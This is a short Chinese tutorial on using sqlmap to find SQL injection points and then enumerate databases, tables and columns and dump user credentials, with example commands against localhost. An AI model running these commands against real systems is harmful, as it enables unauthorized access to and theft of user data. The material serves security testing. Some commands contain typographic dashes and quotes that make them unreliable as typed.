sqlmap是安全測試工具,通常用於對已知的http接口進行sql注入測試,一旦注入成功,可以獲取到後臺包括數據庫表、用戶信息、數據內容等多種敏感信息,對web漏洞防範有重要意義。
基本語法
1.先進行注入點探測,常規語法是:
python sqlmap.py –u [url]
說明:url 一般選擇包括參數輸入的鏈接。如果是get方法,就直接跟在url後面用?補充參數。如果是post方法,用--data=’xxx=xxx&yyy=yyy’格式發送。或者是--data=’{“xx”:”xxx”}’ json格式的數據。如果不是這兩種常見方法,需要加參數 --method=put 或 --method=delete加以特別說明。如果是路徑參數,就在參數位置寫* ;如果需要加入header信息,需要加上參數--headers=’xx:xxx\nyy:yyy’ ,\n是多行,表示多個header項。
如:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’
python sqlmap.py --method=delete –u http://localhost:8080/users/uid/*
執行結果一般會顯示是否有漏洞,包括幾個注入點等等。
2.如果存在可注入點,接下來就可以進行獲取數據的sql注入了。
比如查看有哪些數據庫:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --dbs
查看當前數據庫:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --current-db
查看當前用戶:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --current-user
查看數據庫中有哪些表:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname --table
查看錶中有哪些字段:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname -T users --column
查看字段內容:
python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname -T users -C “username,password,usertype” --dump
這樣一步一步下來把用戶信息全得到了。其他數據也是如此,就是常說的被拖庫了。
sqlmap功能及其強大,還包括多種用法,操作也相對複雜,具體可參考幫助文檔。一般來說,如果很輕易就發現漏洞說明安全意識很差,接下來的操作也勢如破竹。如果不是很快探測到漏洞說明防範措施還是有的。那麼換別的用法恐怕也收穫不大。